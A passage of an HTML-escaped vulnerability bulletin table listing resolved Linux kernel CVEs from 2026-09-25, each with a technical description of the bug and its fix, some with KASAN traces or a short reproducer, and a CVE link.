idpf_vport_stop(), so the count dies with the object. It is a race, not a deterministic failure -- net_dim() only schedules once DIM_NEVENTS events have accumulated and the profile index changes. A KASAN ifup/ifdown loop under load is the way to see it.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97603&quot; target=&quot;_blank&quot;&gt;CVE-2026-97603&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: fbdev: vfb: defer cleanup until the last reference FBIOGETCMAP takes a shallow snapshot of info-&amp;gt;cmap and performs the usercopy after dropping info-&amp;gt;lock. vfb_remove() frees the colormap immediately after unregistering the framebuffer, even when an open file still holds a reference to fb_info. A concurrent driver unbind can therefore free the colormap while the ioctl copies it to userspace. KASAN reports: BUG: KASAN: slab-use-after-free in _copy_to_user Read of size 512 by task poc/125 _copy_to_user (./include/linux/instrumented.h:129 ./include/linux/uaccess.h:201 lib/usercopy.c:24) fb_cmap_to_user (./include/linux/uaccess.h:230 drivers/video/fbdev/core/fbcmap.c:211) do_fb_ioctl (drivers/video/fbdev/core/fb_chrdev.c:114) Allocated by task 1: fb_alloc_cmap_gfp (./include/linux/slab.h:973 ./include/linux/slab.h:1290 drivers/video/fbdev/core/fbcmap.c:108) vfb_probe (drivers/video/fbdev/vfb.c:459) Freed by task 124: fb_dealloc_cmap (drivers/video/fbdev/core/fbcmap.c:151) vfb_remove (drivers/video/fbdev/vfb.c:489) unregister_framebuffer() drops the registration reference, and fbdev calls fb_destroy after the last put_fb_info(). Move the registered framebuffer&#039;s cleanup into an fb_destroy callback so its colormap and screen buffer stay alive until all file references have been released.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97604&quot; target=&quot;_blank&quot;&gt;CVE-2026-97604&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: erofs: preserve LZMA decoders on resize failure The pool-resize path frees each stream&#039;s old decoder before allocating its replacement. If an allocation fails after some streams have already been replaced, the failed stream is put back on the list with state == NULL. z_erofs_lzma_max_dictsize is still advanced as if the whole pool had been resized. An existing LZMA mount can select the broken stream and pass NULL to xz_dec_microlzma_reset(). A retry at the same size also skip another resize attempt. Since the global maximum was advanced, thus, the invalid state is left unrepaired. Allocate each replacement before freeing the old decoder, temporarily retaining one old decoder during allocation. Stop at the first failure and advance z_erofs_lzma_max_dictsize only after all streams satisfy the request. Record each stream&#039;s dictionary capacity so retries can skip streams already enlarged before a partial failure.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97605&quot; target=&quot;_blank&quot;&gt;CVE-2026-97605&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: fs: autofs: fix memory leak in autofs_fill_super() In autofs_fill_super(), we create a new inode using autofs_new_ino(), however, if we fail to create root_inode, (that is, root_inode failure path), we return -ENOMEM without freeing the new inode(ino) that we created causing a memory leak. Fix this by adding autofs_free_ino() to free the inode we created in root_inode failure path before returning ENOMEM.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97606&quot; target=&quot;_blank&quot;&gt;CVE-2026-97606&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: vdpa: ifcvf: Put device on unsupported feature error Route unsupported provisioned features through the common error path after vdpa_alloc_device() so the allocated device and adapter pointer are released consistently.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97607&quot; target=&quot;_blank&quot;&gt;CVE-2026-97607&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: netfs: Fix uninitialized return value in netfs_unbuffered_write() If preparation of the first subrequest fails, netfs_unbuffered_write() exits its loop before ret is initialized. The empty-iterator check can do the same. For synchronous writes, netfs_unbuffered_write_iter_locked() may then return an unrelated error instead of wreq-&amp;gt;error. This is reachable through CIFS if cifs_prepare_write() fails to reopen the file or obtain credits. Initialize ret to 0 so the caller returns wreq-&amp;gt;error if no data was written, or the number of bytes already written otherwise. Found with Clang&#039;s -Wconditional-uninitialized.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97610&quot; target=&quot;_blank&quot;&gt;CVE-2026-97610&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: mana: Reserve extra CQ slot for the fence completion CQE The RX completion queue is sized to hold exactly one CQE per posted RX WQE. MANA_FENCE_RQ makes hardware post an additional CQE_RX_OBJECT_FENCE after the packet CQEs. The current sizing reserves no extra slot for it and in rare cases, CQ has no guaranteed slot for the fence CQE when it is full of packet CQEs. This can lead to dropping the fence completion while the driver waits holding RTNL lock throughout the timeout duration. Reserve one extra CQE slot for CQE_RX_OBJECT_FENCE. mana_gd_alloc_memory() requires queue_size to be a power-of-two and at least MANA_PAGE_SIZE; the reservation pushes cq_size past a power-of-two, so round up the CQ size in mana_create_rxq().&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97613&quot; target=&quot;_blank&quot;&gt;CVE-2026-97613&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: dsa: tag_brcm: legacy FCS: request needed tailroom The legacy FCS tagger calculates the CRC over skb-&amp;gt;len bytes starting at skb-&amp;gt;data. When a nonlinear skb reaches the tagger, this reads past the linear head into unrelated slab memory. The tagger appends an Ethernet FCS but does not declare that tailroom. As a result, DSA leaves NETIF_F_SG and NETIF_F_FRAGLIST enabled on the user port, and nonlinear skbs can reach the CRC calculation. Declare the required tailroom. DSA will then clear those features and the networking core will linearize skbs before the tagger runs. A KASAN-enabled dsa_loop test using this tagger reports: BUG: KASAN: slab-out-of-bounds in crc32_le Read of size 1 at addr ffff8880397086c0 by task exp/135 Call Trace: crc32_le (lib/crc/crc32-main.c:38) brcm_leg_fcs_tag_xmit (net/dsa/tag_brcm.c:343) dsa_user_xmit (net/dsa/user.c:942) dev_hard_start_xmit (net/core/dev.c:3937) __dev_queue_xmit (net/core/dev.c:4926) packet_sendmsg (net/packet/af_packet.c:3110) __sys_sendto (net/socket.c:2281) The buggy address belongs to the object at ffff888039708400 which belongs to the cache skbuff_small_head of size 704 The buggy address is located 0 bytes to the right of allocated 704-byte region [ffff888039708400, ffff8880397086c0)&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97614&quot; target=&quot;_blank&quot;&gt;CVE-2026-97614&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: bridge: use option bits for CFM/MRP frame handlers CFM and MRP register a global br_frame_type whose hlist_node is linked into the per-bridge frame_type_list when the first MEP/MRP instance is created. Enabling the protocol on multiple bridges therefore inserts the same node into multiple lists. Unregistering it on one bridge then corrupts list state belonging to another. These handlers can only be installed once per bridge, and they are uncommon. Track their per-bridge enable state with net_bridge option bits, which already live on the Rx hot cache line, and dispatch the matching handler directly from the receive path. Check both bits together first as an unlikely case. Remove the generic frame_type_list and br_frame_type helpers, which have had no other users since CFM and MRP were added. That shrinks struct net_bridge by 8 bytes and drops the list walk from the fast path. When neither protocol is compiled in, BR_CFM_MRP_OPTS is 0 and the compiler prunes the branch.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97615&quot; target=&quot;_blank&quot;&gt;CVE-2026-97615&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/sched: act_api: release all action references on NEWACTION failure When a batched RTM_NEWACTION request replaces an existing action, tcf_idr_check_alloc() takes a temporary reference on it. If a later action fails to initialize, tcf_action_destroy() uses strict release semantics to clean up the actions initialized so far. For an action bound to a filter, the strict check returns -EPERM without dropping the temporary reference. This error also makes tcf_action_destroy() return before releasing subsequent entries. Any new action initialized between the bound action and the failing entry is leaked together with its reserved IDR slot, preventing reuse of its index. Use tcf_idr_release() to drop each reference held by the batch without rejecting bound actions. This allows cleanup to continue through all initialized entries and preserves the module reference release when an action is destroyed. Explicit action deletion and flushing retain their separate bind-count checks.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97616&quot; target=&quot;_blank&quot;&gt;CVE-2026-97616&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ring-buffer: Check resize_disabled before publishing the new subbuf order ring_buffer_subbuf_order_set() stores the new order and only then walks the CPUs, returning -EBUSY if any of them has resizing disabled. A user mapped buffer has resizing disabled, and __rb_map_vma() reads buffer-&amp;gt;subbuf_order without buffer-&amp;gt;mutex, so an mmap of an already mapped CPU racing the failing order change sizes the mapping with the new order and inserts pages past the sub-buffer into the VMA. Check the CPUs before storing the new order.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97617&quot; target=&quot;_blank&quot;&gt;CVE-2026-97617&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: io_uring/net: don&#039;t overconsume buffers when using MSG_TRUNC When a recv/recvmsg is issued with MSG_TRUNC and the incoming packet is larger than the provided buffer, the net layer returns the full length of the packet rather than the number of bytes actually copied into the buffer. As a result, io_uring advances more of the provided buffer ring than was actually filled. Use the actual filled region size to consume the buffer, but still return the full size to preserve MSG_TRUNC semantics. Take care with multishot, because that seems to already truncate the consumption based on the available payload size. This was reported in https://github.com/axboe/liburing/issues/1619. [axboe: fold in size_t unsigned fix]&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97618&quot; target=&quot;_blank&quot;&gt;CVE-2026-97618&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: io_uring/rw: end write accounting from -&amp;gt;ki_complete Commit b000145e9907 moved both the fsnotify calls and the write accounting out of the kiocb completion handler and into the io_req_rw_complete() task_work. However, only the fsnotify part actually needed to move as it may sleep. Ending the write accounting is just a percpu_up_read() on the superblock writers sem. Deferring it is a problem, because it makes dropping SB_FREEZE_WRITE protection depend on the ring owner getting to running task_work. But the task may be blocked in freeze_super(), causing it to never get to that: task io-wq worker -------------------------------------------------------------- io_write() io_kiocb_start_write() (takes sb_writers, hidden from lockdep by __sb_writers_release) write_iter() -&amp;gt; -EIOCBQUEUED ioctl(FS_IOC_SHUTDOWN) bdev_freeze() freeze_super() percpu_down_write() &amp;lt;- waits for the reader above io_write() kiocb_start_write() percpu_down_read() &amp;lt;- queued behind the writer &amp;lt;bio completes&amp;gt; io_complete_rw() queues io_req_rw_complete() &amp;lt;- never runs, task is in D state End the write from io_complete_rw() instead, and leave only the fsnotify calls in task_work.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97619&quot; target=&quot;_blank&quot;&gt;CVE-2026-97619&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/xe: Flush LSC untyped L1 dataport cache after rcs/ccs batches emit_render_cache_flush() sets PIPE_CONTROL0_HDC_PIPELINE_FLUSH to flush the L2/HDC data cache before fence signalling, but it never requests a flush of the LSC untyped L1 data cache via the &#039;Untyped Data-Port Cache Flush Enable&#039; bit in PIPE_CONTROL DWord0[11]. Per the Bspec, in 3D pipeline mode HDC Pipeline Flush is documented to also flush/invalidate the untyped L1 cache, but only depending on how HDC_CHICKEN0[13:11] is programmed. Starting with MTL, this coupling between HDC Pipeline Flush and the untyped L1 cache flush no longer holds in practice, regardless of how HDC_CHICKEN0 is programmed, so relying on it is not safe on newer platforms such as BMG. Mesa&#039;s Vulkan driver (anv) has been assuming the kernel flushes both caches between submissions, and hit user-visible corruption in apps such as Llama.cpp because of this gap; it now works around it by flushing both caches again from userspace at the end of every command buffer. Correctness between submissions on the same queue is userspace&#039;s responsibility and belongs in Mesa, not the kernel. However, for security we must ensure stale data can&#039;t leak through the untyped L1 dataport cache once memory is reclaimed or evicted, which requires the KMD to flush it before releasing memory for reuse. Prior to MTL, HDC_CHICKEN0 could be programmed (as already done for DG2 via Wa_22010960976/Wa_14013347512) to reliably keep HDC Pipeline Flush coupled to the untyped L1 cache flush, so those platforms are unaffected. Mesa&#039;s own anv driver found that on MTL the HW disconnected the two independently of how HDC_CHICKEN0 is programmed, and could not bring the old behavior back even by writing the register by hand; see Mesa commit 7c2ff46a4fc3 (&quot;anv: don&#039;t prevent L1 untyped cache flush in 3D mode&quot;). The kernel can&#039;t reliably request the flush from the CS on MTL either, so restrict the new PIPE_CONTROL bit to GRAPHICS_VERx100 &amp;gt;= 2000 (Xe2 and later), where it can be relied on. Explicitly set PIPE_CONTROL0_UNTYPED_DATAPORT_CACHE_FLUSH together with PIPE_CONTROL0_HDC_PIPELINE_FLUSH in emit_render_cache_flush() on Xe2 and later, so the L1 data cache is known clean before memory is released for reuse, without depending on undocumented platform-specific HDC_CHICKEN0 behavior. Bspec: 56551 (cherry picked from commit 434514b6fe731e873808297c268fc52cdf4a1ce6)&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97620&quot; target=&quot;_blank&quot;&gt;CVE-2026-97620&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/rockchip: analogix_dp: fix unchecked bound endpoint name length rockchip_dp_drm_encoder_enable() uses sprintf() to format a device tree path into a 32-byte stack buffer. Device tree paths are not limited to this size, so a sufficiently long path can overflow the buffer. Use snprintf() with the destination size to truncate the generated name and keep the writes within bounds.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97621&quot; target=&quot;_blank&quot;&gt;CVE-2026-97621&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/i915: Fix memory leak in query_perf_config_list() When krealloc() fails, free the original oa_config_ids before returning to avoid a memory leak. (cherry picked from commit 9977e9d84f46d4f12ad35fbbc0ec4638554bce87)&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97899&quot; target=&quot;_blank&quot;&gt;CVE-2026-97899&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/drm_exec: fix up contended obj when num_objects is 0 drm_exec_prepare_array() silently returns success without calling drm_exec_lock_contended() when num_objects is zero. This breaks the invariant upheld by drm_exec_lock_obj(), where every entry point into the locking sequence must first attempt to lock any previously contended object before proceeding. Drivers that chain multiple drm_exec_prepare_array() calls per drm_exec_until_all_locked() iteration (e.g. amdgpu&#039;s userq signal/wait ioctls, which prepare separate read and write BO arrays) can pass an empty array for one of the two calls. If contention is hit while preparing the non-empty array, exec-&amp;gt;contended is set and the loop retries; on retry, the empty-array call preceding it is a no-op that never clears exec-&amp;gt;contended, so drm_exec_retry_on_contention() immediately jumps back to the top of the loop without ever reaching the call that would resolve the contention. This spins forever. Fix it by having drm_exec_prepare_array() call drm_exec_lock_contended() directly when num_objects is zero, so a pending contended object dont loop infinitely.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97900&quot; target=&quot;_blank&quot;&gt;CVE-2026-97900&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: genetlink: pin family module during policy dump The generic netlink controller&#039;s policy dump keeps pointers to the target family&#039;s operation and policy tables in its callback state. A dump may be split across multiple skbs and remain pending after the initial request. Netlink pins the module which owns the dump callback, but in this case that is the controller&#039;s owner rather than the target family&#039;s owner. The target family can consequently be unregistered and its module unloaded while a policy dump is pending. Advancing the dump then dereferences policy memory from the unloaded module. Take a reference to the target family&#039;s module when the dump starts. Drop it from the error and done paths. This matches the lifetime for which the dump context retains the family and policy pointers.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97901&quot; target=&quot;_blank&quot;&gt;CVE-2026-97901&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: fs: don&#039;t return -EINVAL for successful nested thaw Commit 7366f8b6fc6a (&quot;fs: handle freezing from multiple devices&quot;) replaced the freeze_holders bitmask with per-holder counters to allow nested freezes. In the bitmask version, a thaw that released a shared hold while another holder remained returned 0. Since the rework, thaw_super_locked() drops the freeze reference via freeze_dec() but then returns -EINVAL when other freezers remain, misinforming the caller: the thaw did succeed, the superblock just stays frozen for the remaining holders. This breaks bdev-initiated freezing. When a filesystem is frozen with FIFREEZE and additionally frozen via bdev_freeze() -- which nests by design, see fs_bdev_freeze() -- the subsequent bdev_thaw() receives -EINVAL from the holder op although its freeze reference was dropped, and therefore keeps bd_fsfreeze_count elevated. Then device-mapper&#039;s unlock_fs() ignores bdev_thaw()&#039;s return value, so nothing rebalances the count. After the user&#039;s FITHAW and umount, the block device can never be mounted again: dm-1: Can&#039;t mount, blockdev is frozen There is no way for userspace to drop the leaked count; only destroying the block device (or a reboot) recovers the device. Reproducer (any kernel since v6.8): dmsetup create dut --table &quot;0 $(blockdev --getsz &quot;$DEV&quot;) linear $DEV 0&quot; mkfs.ext4 /dev/mapper/dut mount /dev/mapper/dut /mnt fsfreeze --freeze /mnt # freeze_ucount == 1 dmsetup suspend dut # bd_fsfreeze_count == 1, ucount == 2 dmsetup resume dut # ucount 2 -&amp;gt; 1, but thaw_super() # returns -EINVAL, so bdev_thaw() # keeps bd_fsfreeze_count at 1 fsfreeze --unfreeze /mnt # filesystem thaws fine umount /mnt mount /dev/mapper/dut /mnt # EBUSY, forever The same happens with fsfreeze held across an LVM snapshot of the origin volume. fs_bdev_thaw()&#039;s documentation already describes the intended semantics: &quot;If this function returns zero it doesn&#039;t mean that the filesystem is unfrozen as it may have been frozen multiple times&quot;. Restore them by returning 0 when a nested thaw drops its hold while other freezers remain. Thawing without holding a freeze still fails with -EINVAL as may_unfreeze() rejects that case before the reference count is touched.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97902&quot; target=&quot;_blank&quot;&gt;CVE-2026-97902&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: cpufreq: initialize policy rwsem before sysfs publication cpufreq_policy_alloc() initializes policy-&amp;gt;rwsem after kobject_init_and_add() has created the policy sysfs directory and its default attributes. A sysfs access can therefore reach a policy callback before the semaphore has been initialized. Initialize policy-&amp;gt;rwsem before publishing the policy kobject so sysfs callbacks always see an initialized semaphore.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97904&quot; target=&quot;_blank&quot;&gt;CVE-2026-97904&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: cpufreq: zero-initialize policy cpumask before sysfs publication cpufreq_policy_alloc() allocates policy-&amp;gt;cpus with alloc_cpumask_var(), i.e. without __GFP_ZERO, unlike the sibling related_cpus and real_cpus masks. With CONFIG_CPUMASK_OFFSTACK=y the mask is a separate kmalloc_node() allocation, so its bitmap holds whatever the slab allocator left behind: cpufreq_online() cpufreq_policy_alloc() alloc_cpumask_var(&amp;amp;policy-&amp;gt;cpus) /* bitmap is uninitialized */ kobject_init_and_add() /* policy%u/ appears in sysfs */ cpufreq_policy_online() cpumask_copy(policy-&amp;gt;cpus, cpumask_of(cpu)) /* first valid value */ This leaves a window in which the sysfs attributes are already reachable while policy-&amp;gt;cpus is still garbage. show()/store() gate on policy_is_inactive(), i.e. cpumask_empty(policy-&amp;gt;cpus), so a non-zero bitmap makes them run the attribute callbacks on a policy that is not initialized yet. Fix this by using zalloc_cpumask_var() for policy-&amp;gt;cpus.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97905&quot; target=&quot;_blank&quot;&gt;CVE-2026-97905&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bootconfig: Fix integer overflow in initrd size check Sashiko reported that in get_boot_config_from_initrd(), a crafted initrd with a huge bootconfig size (such as 0xFFFFFFFF) can cause the pointer arithmetic: data = ((void *)hdr) - size; to wrap around on 32-bit systems (or when pointer subtraction overflows). Because data wraps around, the subsequent bounds check: if ((unsigned long)data &amp;lt; initrd_start) evaluates to false, bypassing the check. The kernel then calls xbc_calc_checksum(data, size), which attempts to read 4GB of memory, hitting unmapped pages and triggering a fatal kernel page fault during early boot. Furthermore, on 64-bit systems with an initrd &amp;gt; 4.29 GB, an unbounded 32-bit size can similarly bypass the initrd_start check. Fix this by: 1. Ensuring the initrd is at least large enough to contain the bootconfig footer and verifying hdr is within the initrd bounds. 2. Checking that size does not exceed XBC_DATA_MAX and does not exceed the available space between initrd_start and hdr before performing pointer subtraction.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97906&quot; target=&quot;_blank&quot;&gt;CVE-2026-97906&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Bluetooth: btrtl: Don&#039;t leak return code when parsing firmware format v2 When key_id from chip is zero, rtlbt_parse_firmware_v2() intentionally ignores all security headers. However, the implementation simply breaks from a switch statement and leaks uninitialized return code `rc&#039; (if the first section is a security one) or the previous section&#039;s `rc&#039;. Fix it by really skipping a loop with `continue&#039;. For consistency and readability, also do the same for the default case.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97907&quot; target=&quot;_blank&quot;&gt;CVE-2026-97907&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Bluetooth: btqcomsmd: destroy RPMsg endpoints before freeing hci_dev The command and ACL RPMsg endpoints store struct btqcomsmd as their callback private data. The receive callbacks dereference btq-&amp;gt;hdev without taking an hci_dev reference. The current teardown order frees the hci_dev before destroying the RPMsg endpoints in both the hci_register_dev() error path and the driver remove path. If WCNSS delivers data in that window, the endpoint callback can run with an already freed hci_dev and pass it to the Bluetooth core. For qcom_smd endpoints, rpmsg_destroy_ept() closes the channel and clears the callback under the channel recv_lock. The receive path holds the same lock while invoking the callback, so destroying the endpoints first both prevents new callbacks and serializes with any callback already running. Destroy the command and ACL endpoints before hci_free_dev(). Keep hci_unregister_dev() first during remove so the HCI core stops issuing operations before the transport endpoints are shut down. In the full registration-error cleanup path, return directly after freeing the hci_dev to avoid falling through to the partial-construction labels and destroying the endpoints twice.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97908&quot; target=&quot;_blank&quot;&gt;CVE-2026-97908&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ASoC: sti: initialize IRQ lock before requesting IRQ uni_reader_init() registers the shared IRQ before initializing reader-&amp;gt;irq_lock. A pending interrupt can invoke the handler while the lock is still uninitialized. Initialize the lock before registering the IRQ so the interrupt path always sees valid lock state.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97909&quot; target=&quot;_blank&quot;&gt;CVE-2026-97909&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
